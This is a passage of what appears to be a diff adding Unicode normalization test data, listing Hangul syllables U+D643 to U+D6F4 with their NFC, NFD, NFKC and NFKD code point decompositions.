+{ source: [0xD643], NFC: [0xD643], NFD: [0x1112, 0x1169, 0x11B2], NFKC: [0xD643], NFKD: [0x1112, 0x1169, 0x11B2] },
+{ source: [0xD644], NFC: [0xD644], NFD: [0x1112, 0x1169, 0x11B3], NFKC: [0xD644], NFKD: [0x1112, 0x1169, 0x11B3] },
+{ source: [0xD645], NFC: [0xD645], NFD: [0x1112, 0x1169, 0x11B4], NFKC: [0xD645], NFKD: [0x1112, 0x1169, 0x11B4] },
+{ source: [0xD646], NFC: [0xD646], NFD: [0x1112, 0x1169, 0x11B5], NFKC: [0xD646], NFKD: [0x1112, 0x1169, 0x11B5] },
+{ source: [0xD647], NFC: [0xD647], NFD: [0x1112, 0x1169, 0x11B6], NFKC: [0xD647], NFKD: [0x1112, 0x1169, 0x11B6] },
+{ source: [0xD648], NFC: [0xD648], NFD: [0x1112, 0x1169, 0x11B7], NFKC: [0xD648], NFKD: [0x1112, 0x1169, 0x11B7] },
+{ source: [0xD649], NFC: [0xD649], NFD: [0x1112, 0x1169, 0x11B8], NFKC: [0xD649], NFKD: [0x1112, 0x1169, 0x11B8] },
+{ source: [0xD64A], NFC: [0xD64A], NFD: [0x1112, 0x1169, 0x11B9], NFKC: [0xD64A], NFKD: [0x1112, 0x1169, 0x11B9] },
+{ source: [0xD64B], NFC: [0xD64B], NFD: [0x1112, 0x1169, 0x11BA], NFKC: [0xD64B], NFKD: [0x1112, 0x1169, 0x11BA] },
+{ source: [0xD64C], NFC: [0xD64C], NFD: [0x1112, 0x1169, 0x11BB], NFKC: [0xD64C], NFKD: [0x1112, 0x1169, 0x11BB] },
+{ source: [0xD64D], NFC: [0xD64D], NFD: [0x1112, 0x1169, 0x11BC], NFKC: [0xD64D], NFKD: [0x1112, 0x1169, 0x11BC] },
+{ source: [0xD64E], NFC: [0xD64E], NFD: [0x1112, 0x1169, 0x11BD], NFKC: [0xD64E], NFKD: [0x1112, 0x1169, 0x11BD] },
+{ source: [0xD64F], NFC: [0xD64F], NFD: [0x1112, 0x1169, 0x11BE], NFKC: [0xD64F], NFKD: [0x1112, 0x1169, 0x11BE] },
+{ source: [0xD650], NFC: [0xD650], NFD: [0x1112, 0x1169, 0x11BF], NFKC: [0xD650], NFKD: [0x1112, 0x1169, 0x11BF] },
+{ source: [0xD651], NFC: [0xD651], NFD: [0x1112, 0x1169, 0x11C0], NFKC: [0xD651], NFKD: [0x1112, 0x1169, 0x11C0] },
+{ source: [0xD652], NFC: [0xD652], NFD: [0x1112, 0x1169, 0x11C1], NFKC: [0xD652], NFKD: [0x1112, 0x1169, 0x11C1] },
+{ source: [0xD653], NFC: [0xD653], NFD: [0x1112, 0x1169, 0x11C2], NFKC: [0xD653], NFKD: [0x1112, 0x1169, 0x11C2] },
+{ source: [0xD654], NFC: [0xD654], NFD: [0x1112, 0x116A], NFKC: [0xD654], NFKD: [0x1112, 0x116A] },
+{ source: [0xD655], NFC: [0xD655], NFD: [0x1112, 0x116A, 0x11A8], NFKC: [0xD655], NFKD: [0x1112, 0x116A, 0x11A8] },
+{ source: [0xD656], NFC: [0xD656], NFD: [0x1112, 0x116A, 0x11A9], NFKC: [0xD656], NFKD: [0x1112, 0x116A, 0x11A9] },
+{ source: [0xD657], NFC: [0xD657], NFD: [0x1112, 0x116A, 0x11AA], NFKC: [0xD657], NFKD: [0x1112, 0x116A, 0x11AA] },
+{ source: [0xD658], NFC: [0xD658], NFD: [0x1112, 0x116A, 0x11AB], NFKC: [0xD658], NFKD: [0x1112, 0x116A, 0x11AB] },
+{ source: [0xD659], NFC: [0xD659], NFD: [0x1112, 0x116A, 0x11AC], NFKC: [0xD659], NFKD: [0x1112, 0x116A, 0x11AC] },
+{ source: [0xD65A], NFC: [0xD65A], NFD: [0x1112, 0x116A, 0x11AD], NFKC: [0xD65A], NFKD: [0x1112, 0x116A, 0x11AD] },
+{ source: [0xD65B], NFC: [0xD65B], NFD: [0x1112, 0x116A, 0x11AE], NFKC: [0xD65B], NFKD: [0x1112, 0x116A, 0x11AE] },
+{ source: [0xD65C], NFC: [0xD65C], NFD: [0x1112, 0x116A, 0x11AF], NFKC: [0xD65C], NFKD: [0x1112, 0x116A, 0x11AF] },
+{ source: [0xD65D], NFC: [0xD65D], NFD: [0x1112, 0x116A, 0x11B0], NFKC: [0xD65D], NFKD: [0x1112, 0x116A, 0x11B0] },
+{ source: [0xD65E], NFC: [0xD65E], NFD: [0x1112, 0x116A, 0x11B1], NFKC: [0xD65E], NFKD: [0x1112, 0x116A, 0x11B1] },
+{ source: [0xD65F], NFC: [0xD65F], NFD: [0x1112, 0x116A, 0x11B2], NFKC: [0xD65F], NFKD: [0x1112, 0x116A, 0x11B2] },
+{ source: [0xD660], NFC: [0xD660], NFD: [0x1112, 0x116A, 0x11B3], NFKC: [0xD660], NFKD: [0x1112, 0x116A, 0x11B3] },
+{ source: [0xD661], NFC: [0xD661], NFD: [0x1112, 0x116A, 0x11B4], NFKC: [0xD661], NFKD: [0x1112, 0x116A, 0x11B4] },
+{ source: [0xD662], NFC: [0xD662], NFD: [0x1112, 0x116A, 0x11B5], NFKC: [0xD662], NFKD: [0x1112, 0x116A, 0x11B5] },
+{ source: [0xD663], NFC: [0xD663], NFD: [0x1112, 0x116A, 0x11B6], NFKC: [0xD663], NFKD: [0x1112, 0x116A, 0x11B6] },
+{ source: [0xD664], NFC: [0xD664], NFD: [0x1112, 0x116A, 0x11B7], NFKC: [0xD664], NFKD: [0x1112, 0x116A, 0x11B7] },
+{ source: [0xD665], NFC: [0xD665], NFD: [0x1112, 0x116A, 0x11B8], NFKC: [0xD665], NFKD: [0x1112, 0x116A, 0x11B8] },
+{ source: [0xD666], NFC: [0xD666], NFD: [0x1112, 0x116A, 0x11B9], NFKC: [0xD666], NFKD: [0x1112, 0x116A, 0x11B9] },
+{ source: [0xD667], NFC: [0xD667], NFD: [0x1112, 0x116A, 0x11BA], NFKC: [0xD667], NFKD: [0x1112, 0x116A, 0x11BA] },
+{ source: [0xD668], NFC: [0xD668], NFD: [0x1112, 0x116A, 0x11BB], NFKC: [0xD668], NFKD: [0x1112, 0x116A, 0x11BB] },
+{ source: [0xD669], NFC: [0xD669], NFD: [0x1112, 0x116A, 0x11BC], NFKC: [0xD669], NFKD: [0x1112, 0x116A, 0x11BC] },
+{ source: [0xD66A], NFC: [0xD66A], NFD: [0x1112, 0x116A, 0x11BD], NFKC: [0xD66A], NFKD: [0x1112, 0x116A, 0x11BD] },
+{ source: [0xD66B], NFC: [0xD66B], NFD: [0x1112, 0x116A, 0x11BE], NFKC: [0xD66B], NFKD: [0x1112, 0x116A, 0x11BE] },
+{ source: [0xD66C], NFC: [0xD66C], NFD: [0x1112, 0x116A, 0x11BF], NFKC: [0xD66C], NFKD: [0x1112, 0x116A, 0x11BF] },
+{ source: [0xD66D], NFC: [0xD66D], NFD: [0x1112, 0x116A, 0x11C0], NFKC: [0xD66D], NFKD: [0x1112, 0x116A, 0x11C0] },
+{ source: [0xD66E], NFC: [0xD66E], NFD: [0x1112, 0x116A, 0x11C1], NFKC: [0xD66E], NFKD: [0x1112, 0x116A, 0x11C1] },
+{ source: [0xD66F], NFC: [0xD66F], NFD: [0x1112, 0x116A, 0x11C2], NFKC: [0xD66F], NFKD: [0x1112, 0x116A, 0x11C2] },
+{ source: [0xD670], NFC: [0xD670], NFD: [0x1112, 0x116B], NFKC: [0xD670], NFKD: [0x1112, 0x116B] },
+{ source: [0xD671], NFC: [0xD671], NFD: [0x1112, 0x116B, 0x11A8], NFKC: [0xD671], NFKD: [0x1112, 0x116B, 0x11A8] },
+{ source: [0xD672], NFC: [0xD672], NFD: [0x1112, 0x116B, 0x11A9], NFKC: [0xD672], NFKD: [0x1112, 0x116B, 0x11A9] },
+{ source: [0xD673], NFC: [0xD673], NFD: [0x1112, 0x116B, 0x11AA], NFKC: [0xD673], NFKD: [0x1112, 0x116B, 0x11AA] },
+{ source: [0xD674], NFC: [0xD674], NFD: [0x1112, 0x116B, 0x11AB], NFKC: [0xD674], NFKD: [0x1112, 0x116B, 0x11AB] },
+{ source: [0xD675], NFC: [0xD675], NFD: [0x1112, 0x116B, 0x11AC], NFKC: [0xD675], NFKD: [0x1112, 0x116B, 0x11AC] },
+{ source: [0xD676], NFC: [0xD676], NFD: [0x1112, 0x116B, 0x11AD], NFKC: [0xD676], NFKD: [0x1112, 0x116B, 0x11AD] },
+{ source: [0xD677], NFC: [0xD677], NFD: [0x1112, 0x116B, 0x11AE], NFKC: [0xD677], NFKD: [0x1112, 0x116B, 0x11AE] },
+{ source: [0xD678], NFC: [0xD678], NFD: [0x1112, 0x116B, 0x11AF], NFKC: [0xD678], NFKD: [0x1112, 0x116B, 0x11AF] },
+{ source: [0xD679], NFC: [0xD679], NFD: [0x1112, 0x116B, 0x11B0], NFKC: [0xD679], NFKD: [0x1112, 0x116B, 0x11B0] },
+{ source: [0xD67A], NFC: [0xD67A], NFD: [0x1112, 0x116B, 0x11B1], NFKC: [0xD67A], NFKD: [0x1112, 0x116B, 0x11B1] },
+{ source: [0xD67B], NFC: [0xD67B], NFD: [0x1112, 0x116B, 0x11B2], NFKC: [0xD67B], NFKD: [0x1112, 0x116B, 0x11B2] },
+{ source: [0xD67C], NFC: [0xD67C], NFD: [0x1112, 0x116B, 0x11B3], NFKC: [0xD67C], NFKD: [0x1112, 0x116B, 0x11B3] },
+{ source: [0xD67D], NFC: [0xD67D], NFD: [0x1112, 0x116B, 0x11B4], NFKC: [0xD67D], NFKD: [0x1112, 0x116B, 0x11B4] },
+{ source: [0xD67E], NFC: [0xD67E], NFD: [0x1112, 0x116B, 0x11B5], NFKC: [0xD67E], NFKD: [0x1112, 0x116B, 0x11B5] },
+{ source: [0xD67F], NFC: [0xD67F], NFD: [0x1112, 0x116B, 0x11B6], NFKC: [0xD67F], NFKD: [0x1112, 0x116B, 0x11B6] },
+{ source: [0xD680], NFC: [0xD680], NFD: [0x1112, 0x116B, 0x11B7], NFKC: [0xD680], NFKD: [0x1112, 0x116B, 0x11B7] },
+{ source: [0xD681], NFC: [0xD681], NFD: [0x1112, 0x116B, 0x11B8], NFKC: [0xD681], NFKD: [0x1112, 0x116B, 0x11B8] },
+{ source: [0xD682], NFC: [0xD682], NFD: [0x1112, 0x116B, 0x11B9], NFKC: [0xD682], NFKD: [0x1112, 0x116B, 0x11B9] },
+{ source: [0xD683], NFC: [0xD683], NFD: [0x1112, 0x116B, 0x11BA], NFKC: [0xD683], NFKD: [0x1112, 0x116B, 0x11BA] },
+{ source: [0xD684], NFC: [0xD684], NFD: [0x1112, 0x116B, 0x11BB], NFKC: [0xD684], NFKD: [0x1112, 0x116B, 0x11BB] },
+{ source: [0xD685], NFC: [0xD685], NFD: [0x1112, 0x116B, 0x11BC], NFKC: [0xD685], NFKD: [0x1112, 0x116B, 0x11BC] },
+{ source: [0xD686], NFC: [0xD686], NFD: [0x1112, 0x116B, 0x11BD], NFKC: [0xD686], NFKD: [0x1112, 0x116B, 0x11BD] },
+{ source: [0xD687], NFC: [0xD687], NFD: [0x1112, 0x116B, 0x11BE], NFKC: [0xD687], NFKD: [0x1112, 0x116B, 0x11BE] },
+{ source: [0xD688], NFC: [0xD688], NFD: [0x1112, 0x116B, 0x11BF], NFKC: [0xD688], NFKD: [0x1112, 0x116B, 0x11BF] },
+{ source: [0xD689], NFC: [0xD689], NFD: [0x1112, 0x116B, 0x11C0], NFKC: [0xD689], NFKD: [0x1112, 0x116B, 0x11C0] },
+{ source: [0xD68A], NFC: [0xD68A], NFD: [0x1112, 0x116B, 0x11C1], NFKC: [0xD68A], NFKD: [0x1112, 0x116B, 0x11C1] },
+{ source: [0xD68B], NFC: [0xD68B], NFD: [0x1112, 0x116B, 0x11C2], NFKC: [0xD68B], NFKD: [0x1112, 0x116B, 0x11C2] },
+{ source: [0xD68C], NFC: [0xD68C], NFD: [0x1112, 0x116C], NFKC: [0xD68C], NFKD: [0x1112, 0x116C] },
+{ source: [0xD68D], NFC: [0xD68D], NFD: [0x1112, 0x116C, 0x11A8], NFKC: [0xD68D], NFKD: [0x1112, 0x116C, 0x11A8] },
+{ source: [0xD68E], NFC: [0xD68E], NFD: [0x1112, 0x116C, 0x11A9], NFKC: [0xD68E], NFKD: [0x1112, 0x116C, 0x11A9] },
+{ source: [0xD68F], NFC: [0xD68F], NFD: [0x1112, 0x116C, 0x11AA], NFKC: [0xD68F], NFKD: [0x1112, 0x116C, 0x11AA] },
+{ source: [0xD690], NFC: [0xD690], NFD: [0x1112, 0x116C, 0x11AB], NFKC: [0xD690], NFKD: [0x1112, 0x116C, 0x11AB] },
+{ source: [0xD691], NFC: [0xD691], NFD: [0x1112, 0x116C, 0x11AC], NFKC: [0xD691], NFKD: [0x1112, 0x116C, 0x11AC] },
+{ source: [0xD692], NFC: [0xD692], NFD: [0x1112, 0x116C, 0x11AD], NFKC: [0xD692], NFKD: [0x1112, 0x116C, 0x11AD] },
+{ source: [0xD693], NFC: [0xD693], NFD: [0x1112, 0x116C, 0x11AE], NFKC: [0xD693], NFKD: [0x1112, 0x116C, 0x11AE] },
+{ source: [0xD694], NFC: [0xD694], NFD: [0x1112, 0x116C, 0x11AF], NFKC: [0xD694], NFKD: [0x1112, 0x116C, 0x11AF] },
+{ source: [0xD695], NFC: [0xD695], NFD: [0x1112, 0x116C, 0x11B0], NFKC: [0xD695], NFKD: [0x1112, 0x116C, 0x11B0] },
+{ source: [0xD696], NFC: [0xD696], NFD: [0x1112, 0x116C, 0x11B1], NFKC: [0xD696], NFKD: [0x1112, 0x116C, 0x11B1] },
+{ source: [0xD697], NFC: [0xD697], NFD: [0x1112, 0x116C, 0x11B2], NFKC: [0xD697], NFKD: [0x1112, 0x116C, 0x11B2] },
+{ source: [0xD698], NFC: [0xD698], NFD: [0x1112, 0x116C, 0x11B3], NFKC: [0xD698], NFKD: [0x1112, 0x116C, 0x11B3] },
+{ source: [0xD699], NFC: [0xD699], NFD: [0x1112, 0x116C, 0x11B4], NFKC: [0xD699], NFKD: [0x1112, 0x116C, 0x11B4] },
+{ source: [0xD69A], NFC: [0xD69A], NFD: [0x1112, 0x116C, 0x11B5], NFKC: [0xD69A], NFKD: [0x1112, 0x116C, 0x11B5] },
+{ source: [0xD69B], NFC: [0xD69B], NFD: [0x1112, 0x116C, 0x11B6], NFKC: [0xD69B], NFKD: [0x1112, 0x116C, 0x11B6] },
+{ source: [0xD69C], NFC: [0xD69C], NFD: [0x1112, 0x116C, 0x11B7], NFKC: [0xD69C], NFKD: [0x1112, 0x116C, 0x11B7] },
+{ source: [0xD69D], NFC: [0xD69D], NFD: [0x1112, 0x116C, 0x11B8], NFKC: [0xD69D], NFKD: [0x1112, 0x116C, 0x11B8] },
+{ source: [0xD69E], NFC: [0xD69E], NFD: [0x1112, 0x116C, 0x11B9], NFKC: [0xD69E], NFKD: [0x1112, 0x116C, 0x11B9] },
+{ source: [0xD69F], NFC: [0xD69F], NFD: [0x1112, 0x116C, 0x11BA], NFKC: [0xD69F], NFKD: [0x1112, 0x116C, 0x11BA] },
+{ source: [0xD6A0], NFC: [0xD6A0], NFD: [0x1112, 0x116C, 0x11BB], NFKC: [0xD6A0], NFKD: [0x1112, 0x116C, 0x11BB] },
+{ source: [0xD6A1], NFC: [0xD6A1], NFD: [0x1112, 0x116C, 0x11BC], NFKC: [0xD6A1], NFKD: [0x1112, 0x116C, 0x11BC] },
+{ source: [0xD6A2], NFC: [0xD6A2], NFD: [0x1112, 0x116C, 0x11BD], NFKC: [0xD6A2], NFKD: [0x1112, 0x116C, 0x11BD] },
+{ source: [0xD6A3], NFC: [0xD6A3], NFD: [0x1112, 0x116C, 0x11BE], NFKC: [0xD6A3], NFKD: [0x1112, 0x116C, 0x11BE] },
+{ source: [0xD6A4], NFC: [0xD6A4], NFD: [0x1112, 0x116C, 0x11BF], NFKC: [0xD6A4], NFKD: [0x1112, 0x116C, 0x11BF] },
+{ source: [0xD6A5], NFC: [0xD6A5], NFD: [0x1112, 0x116C, 0x11C0], NFKC: [0xD6A5], NFKD: [0x1112, 0x116C, 0x11C0] },
+{ source: [0xD6A6], NFC: [0xD6A6], NFD: [0x1112, 0x116C, 0x11C1], NFKC: [0xD6A6], NFKD: [0x1112, 0x116C, 0x11C1] },
+{ source: [0xD6A7], NFC: [0xD6A7], NFD: [0x1112, 0x116C, 0x11C2], NFKC: [0xD6A7], NFKD: [0x1112, 0x116C, 0x11C2] },
+{ source: [0xD6A8], NFC: [0xD6A8], NFD: [0x1112, 0x116D], NFKC: [0xD6A8], NFKD: [0x1112, 0x116D] },
+{ source: [0xD6A9], NFC: [0xD6A9], NFD: [0x1112, 0x116D, 0x11A8], NFKC: [0xD6A9], NFKD: [0x1112, 0x116D, 0x11A8] },
+{ source: [0xD6AA], NFC: [0xD6AA], NFD: [0x1112, 0x116D, 0x11A9], NFKC: [0xD6AA], NFKD: [0x1112, 0x116D, 0x11A9] },
+{ source: [0xD6AB], NFC: [0xD6AB], NFD: [0x1112, 0x116D, 0x11AA], NFKC: [0xD6AB], NFKD: [0x1112, 0x116D, 0x11AA] },
+{ source: [0xD6AC], NFC: [0xD6AC], NFD: [0x1112, 0x116D, 0x11AB], NFKC: [0xD6AC], NFKD: [0x1112, 0x116D, 0x11AB] },
+{ source: [0xD6AD], NFC: [0xD6AD], NFD: [0x1112, 0x116D, 0x11AC], NFKC: [0xD6AD], NFKD: [0x1112, 0x116D, 0x11AC] },
+{ source: [0xD6AE], NFC: [0xD6AE], NFD: [0x1112, 0x116D, 0x11AD], NFKC: [0xD6AE], NFKD: [0x1112, 0x116D, 0x11AD] },
+{ source: [0xD6AF], NFC: [0xD6AF], NFD: [0x1112, 0x116D, 0x11AE], NFKC: [0xD6AF], NFKD: [0x1112, 0x116D, 0x11AE] },
+{ source: [0xD6B0], NFC: [0xD6B0], NFD: [0x1112, 0x116D, 0x11AF], NFKC: [0xD6B0], NFKD: [0x1112, 0x116D, 0x11AF] },
+{ source: [0xD6B1], NFC: [0xD6B1], NFD: [0x1112, 0x116D, 0x11B0], NFKC: [0xD6B1], NFKD: [0x1112, 0x116D, 0x11B0] },
+{ source: [0xD6B2], NFC: [0xD6B2], NFD: [0x1112, 0x116D, 0x11B1], NFKC: [0xD6B2], NFKD: [0x1112, 0x116D, 0x11B1] },
+{ source: [0xD6B3], NFC: [0xD6B3], NFD: [0x1112, 0x116D, 0x11B2], NFKC: [0xD6B3], NFKD: [0x1112, 0x116D, 0x11B2] },
+{ source: [0xD6B4], NFC: [0xD6B4], NFD: [0x1112, 0x116D, 0x11B3], NFKC: [0xD6B4], NFKD: [0x1112, 0x116D, 0x11B3] },
+{ source: [0xD6B5], NFC: [0xD6B5], NFD: [0x1112, 0x116D, 0x11B4], NFKC: [0xD6B5], NFKD: [0x1112, 0x116D, 0x11B4] },
+{ source: [0xD6B6], NFC: [0xD6B6], NFD: [0x1112, 0x116D, 0x11B5], NFKC: [0xD6B6], NFKD: [0x1112, 0x116D, 0x11B5] },
+{ source: [0xD6B7], NFC: [0xD6B7], NFD: [0x1112, 0x116D, 0x11B6], NFKC: [0xD6B7], NFKD: [0x1112, 0x116D, 0x11B6] },
+{ source: [0xD6B8], NFC: [0xD6B8], NFD: [0x1112, 0x116D, 0x11B7], NFKC: [0xD6B8], NFKD: [0x1112, 0x116D, 0x11B7] },
+{ source: [0xD6B9], NFC: [0xD6B9], NFD: [0x1112, 0x116D, 0x11B8], NFKC: [0xD6B9], NFKD: [0x1112, 0x116D, 0x11B8] },
+{ source: [0xD6BA], NFC: [0xD6BA], NFD: [0x1112, 0x116D, 0x11B9], NFKC: [0xD6BA], NFKD: [0x1112, 0x116D, 0x11B9] },
+{ source: [0xD6BB], NFC: [0xD6BB], NFD: [0x1112, 0x116D, 0x11BA], NFKC: [0xD6BB], NFKD: [0x1112, 0x116D, 0x11BA] },
+{ source: [0xD6BC], NFC: [0xD6BC], NFD: [0x1112, 0x116D, 0x11BB], NFKC: [0xD6BC], NFKD: [0x1112, 0x116D, 0x11BB] },
+{ source: [0xD6BD], NFC: [0xD6BD], NFD: [0x1112, 0x116D, 0x11BC], NFKC: [0xD6BD], NFKD: [0x1112, 0x116D, 0x11BC] },
+{ source: [0xD6BE], NFC: [0xD6BE], NFD: [0x1112, 0x116D, 0x11BD], NFKC: [0xD6BE], NFKD: [0x1112, 0x116D, 0x11BD] },
+{ source: [0xD6BF], NFC: [0xD6BF], NFD: [0x1112, 0x116D, 0x11BE], NFKC: [0xD6BF], NFKD: [0x1112, 0x116D, 0x11BE] },
+{ source: [0xD6C0], NFC: [0xD6C0], NFD: [0x1112, 0x116D, 0x11BF], NFKC: [0xD6C0], NFKD: [0x1112, 0x116D, 0x11BF] },
+{ source: [0xD6C1], NFC: [0xD6C1], NFD: [0x1112, 0x116D, 0x11C0], NFKC: [0xD6C1], NFKD: [0x1112, 0x116D, 0x11C0] },
+{ source: [0xD6C2], NFC: [0xD6C2], NFD: [0x1112, 0x116D, 0x11C1], NFKC: [0xD6C2], NFKD: [0x1112, 0x116D, 0x11C1] },
+{ source: [0xD6C3], NFC: [0xD6C3], NFD: [0x1112, 0x116D, 0x11C2], NFKC: [0xD6C3], NFKD: [0x1112, 0x116D, 0x11C2] },
+{ source: [0xD6C4], NFC: [0xD6C4], NFD: [0x1112, 0x116E], NFKC: [0xD6C4], NFKD: [0x1112, 0x116E] },
+{ source: [0xD6C5], NFC: [0xD6C5], NFD: [0x1112, 0x116E, 0x11A8], NFKC: [0xD6C5], NFKD: [0x1112, 0x116E, 0x11A8] },
+{ source: [0xD6C6], NFC: [0xD6C6], NFD: [0x1112, 0x116E, 0x11A9], NFKC: [0xD6C6], NFKD: [0x1112, 0x116E, 0x11A9] },
+{ source: [0xD6C7], NFC: [0xD6C7], NFD: [0x1112, 0x116E, 0x11AA], NFKC: [0xD6C7], NFKD: [0x1112, 0x116E, 0x11AA] },
+{ source: [0xD6C8], NFC: [0xD6C8], NFD: [0x1112, 0x116E, 0x11AB], NFKC: [0xD6C8], NFKD: [0x1112, 0x116E, 0x11AB] },
+{ source: [0xD6C9], NFC: [0xD6C9], NFD: [0x1112, 0x116E, 0x11AC], NFKC: [0xD6C9], NFKD: [0x1112, 0x116E, 0x11AC] },
+{ source: [0xD6CA], NFC: [0xD6CA], NFD: [0x1112, 0x116E, 0x11AD], NFKC: [0xD6CA], NFKD: [0x1112, 0x116E, 0x11AD] },
+{ source: [0xD6CB], NFC: [0xD6CB], NFD: [0x1112, 0x116E, 0x11AE], NFKC: [0xD6CB], NFKD: [0x1112, 0x116E, 0x11AE] },
+{ source: [0xD6CC], NFC: [0xD6CC], NFD: [0x1112, 0x116E, 0x11AF], NFKC: [0xD6CC], NFKD: [0x1112, 0x116E, 0x11AF] },
+{ source: [0xD6CD], NFC: [0xD6CD], NFD: [0x1112, 0x116E, 0x11B0], NFKC: [0xD6CD], NFKD: [0x1112, 0x116E, 0x11B0] },
+{ source: [0xD6CE], NFC: [0xD6CE], NFD: [0x1112, 0x116E, 0x11B1], NFKC: [0xD6CE], NFKD: [0x1112, 0x116E, 0x11B1] },
+{ source: [0xD6CF], NFC: [0xD6CF], NFD: [0x1112, 0x116E, 0x11B2], NFKC: [0xD6CF], NFKD: [0x1112, 0x116E, 0x11B2] },
+{ source: [0xD6D0], NFC: [0xD6D0], NFD: [0x1112, 0x116E, 0x11B3], NFKC: [0xD6D0], NFKD: [0x1112, 0x116E, 0x11B3] },
+{ source: [0xD6D1], NFC: [0xD6D1], NFD: [0x1112, 0x116E, 0x11B4], NFKC: [0xD6D1], NFKD: [0x1112, 0x116E, 0x11B4] },
+{ source: [0xD6D2], NFC: [0xD6D2], NFD: [0x1112, 0x116E, 0x11B5], NFKC: [0xD6D2], NFKD: [0x1112, 0x116E, 0x11B5] },
+{ source: [0xD6D3], NFC: [0xD6D3], NFD: [0x1112, 0x116E, 0x11B6], NFKC: [0xD6D3], NFKD: [0x1112, 0x116E, 0x11B6] },
+{ source: [0xD6D4], NFC: [0xD6D4], NFD: [0x1112, 0x116E, 0x11B7], NFKC: [0xD6D4], NFKD: [0x1112, 0x116E, 0x11B7] },
+{ source: [0xD6D5], NFC: [0xD6D5], NFD: [0x1112, 0x116E, 0x11B8], NFKC: [0xD6D5], NFKD: [0x1112, 0x116E, 0x11B8] },
+{ source: [0xD6D6], NFC: [0xD6D6], NFD: [0x1112, 0x116E, 0x11B9], NFKC: [0xD6D6], NFKD: [0x1112, 0x116E, 0x11B9] },
+{ source: [0xD6D7], NFC: [0xD6D7], NFD: [0x1112, 0x116E, 0x11BA], NFKC: [0xD6D7], NFKD: [0x1112, 0x116E, 0x11BA] },
+{ source: [0xD6D8], NFC: [0xD6D8], NFD: [0x1112, 0x116E, 0x11BB], NFKC: [0xD6D8], NFKD: [0x1112, 0x116E, 0x11BB] },
+{ source: [0xD6D9], NFC: [0xD6D9], NFD: [0x1112, 0x116E, 0x11BC], NFKC: [0xD6D9], NFKD: [0x1112, 0x116E, 0x11BC] },
+{ source: [0xD6DA], NFC: [0xD6DA], NFD: [0x1112, 0x116E, 0x11BD], NFKC: [0xD6DA], NFKD: [0x1112, 0x116E, 0x11BD] },
+{ source: [0xD6DB], NFC: [0xD6DB], NFD: [0x1112, 0x116E, 0x11BE], NFKC: [0xD6DB], NFKD: [0x1112, 0x116E, 0x11BE] },
+{ source: [0xD6DC], NFC: [0xD6DC], NFD: [0x1112, 0x116E, 0x11BF], NFKC: [0xD6DC], NFKD: [0x1112, 0x116E, 0x11BF] },
+{ source: [0xD6DD], NFC: [0xD6DD], NFD: [0x1112, 0x116E, 0x11C0], NFKC: [0xD6DD], NFKD: [0x1112, 0x116E, 0x11C0] },
+{ source: [0xD6DE], NFC: [0xD6DE], NFD: [0x1112, 0x116E, 0x11C1], NFKC: [0xD6DE], NFKD: [0x1112, 0x116E, 0x11C1] },
+{ source: [0xD6DF], NFC: [0xD6DF], NFD: [0x1112, 0x116E, 0x11C2], NFKC: [0xD6DF], NFKD: [0x1112, 0x116E, 0x11C2] },
+{ source: [0xD6E0], NFC: [0xD6E0], NFD: [0x1112, 0x116F], NFKC: [0xD6E0], NFKD: [0x1112, 0x116F] },
+{ source: [0xD6E1], NFC: [0xD6E1], NFD: [0x1112, 0x116F, 0x11A8], NFKC: [0xD6E1], NFKD: [0x1112, 0x116F, 0x11A8] },
+{ source: [0xD6E2], NFC: [0xD6E2], NFD: [0x1112, 0x116F, 0x11A9], NFKC: [0xD6E2], NFKD: [0x1112, 0x116F, 0x11A9] },
+{ source: [0xD6E3], NFC: [0xD6E3], NFD: [0x1112, 0x116F, 0x11AA], NFKC: [0xD6E3], NFKD: [0x1112, 0x116F, 0x11AA] },
+{ source: [0xD6E4], NFC: [0xD6E4], NFD: [0x1112, 0x116F, 0x11AB], NFKC: [0xD6E4], NFKD: [0x1112, 0x116F, 0x11AB] },
+{ source: [0xD6E5], NFC: [0xD6E5], NFD: [0x1112, 0x116F, 0x11AC], NFKC: [0xD6E5], NFKD: [0x1112, 0x116F, 0x11AC] },
+{ source: [0xD6E6], NFC: [0xD6E6], NFD: [0x1112, 0x116F, 0x11AD], NFKC: [0xD6E6], NFKD: [0x1112, 0x116F, 0x11AD] },
+{ source: [0xD6E7], NFC: [0xD6E7], NFD: [0x1112, 0x116F, 0x11AE], NFKC: [0xD6E7], NFKD: [0x1112, 0x116F, 0x11AE] },
+{ source: [0xD6E8], NFC: [0xD6E8], NFD: [0x1112, 0x116F, 0x11AF], NFKC: [0xD6E8], NFKD: [0x1112, 0x116F, 0x11AF] },
+{ source: [0xD6E9], NFC: [0xD6E9], NFD: [0x1112, 0x116F, 0x11B0], NFKC: [0xD6E9], NFKD: [0x1112, 0x116F, 0x11B0] },
+{ source: [0xD6EA], NFC: [0xD6EA], NFD: [0x1112, 0x116F, 0x11B1], NFKC: [0xD6EA], NFKD: [0x1112, 0x116F, 0x11B1] },
+{ source: [0xD6EB], NFC: [0xD6EB], NFD: [0x1112, 0x116F, 0x11B2], NFKC: [0xD6EB], NFKD: [0x1112, 0x116F, 0x11B2] },
+{ source: [0xD6EC], NFC: [0xD6EC], NFD: [0x1112, 0x116F, 0x11B3], NFKC: [0xD6EC], NFKD: [0x1112, 0x116F, 0x11B3] },
+{ source: [0xD6ED], NFC: [0xD6ED], NFD: [0x1112, 0x116F, 0x11B4], NFKC: [0xD6ED], NFKD: [0x1112, 0x116F, 0x11B4] },
+{ source: [0xD6EE], NFC: [0xD6EE], NFD: [0x1112, 0x116F, 0x11B5], NFKC: [0xD6EE], NFKD: [0x1112, 0x116F, 0x11B5] },
+{ source: [0xD6EF], NFC: [0xD6EF], NFD: [0x1112, 0x116F, 0x11B6], NFKC: [0xD6EF], NFKD: [0x1112, 0x116F, 0x11B6] },
+{ source: [0xD6F0], NFC: [0xD6F0], NFD: [0x1112, 0x116F, 0x11B7], NFKC: [0xD6F0], NFKD: [0x1112, 0x116F, 0x11B7] },
+{ source: [0xD6F1], NFC: [0xD6F1], NFD: [0x1112, 0x116F, 0x11B8], NFKC: [0xD6F1], NFKD: [0x1112, 0x116F, 0x11B8] },
+{ source: [0xD6F2], NFC: [0xD6F2], NFD: [0x1112, 0x116F, 0x11B9], NFKC: [0xD6F2], NFKD: [0x1112, 0x116F, 0x11B9] },
+{ source: [0xD6F3], NFC: [0xD6F3], NFD: [0x1112, 0x116F, 0x11BA], NFKC: [0xD6F3], NFKD: [0x1112, 0x116F, 0x11BA] },
+{ source: [0xD6F4], NFC: [0xD6F4], NFD: [0x1112, 0x116F, 0x11BB], NFKC: [0xD6F4], NFKD: [0x1112, 0x116F, 0x11BB] },
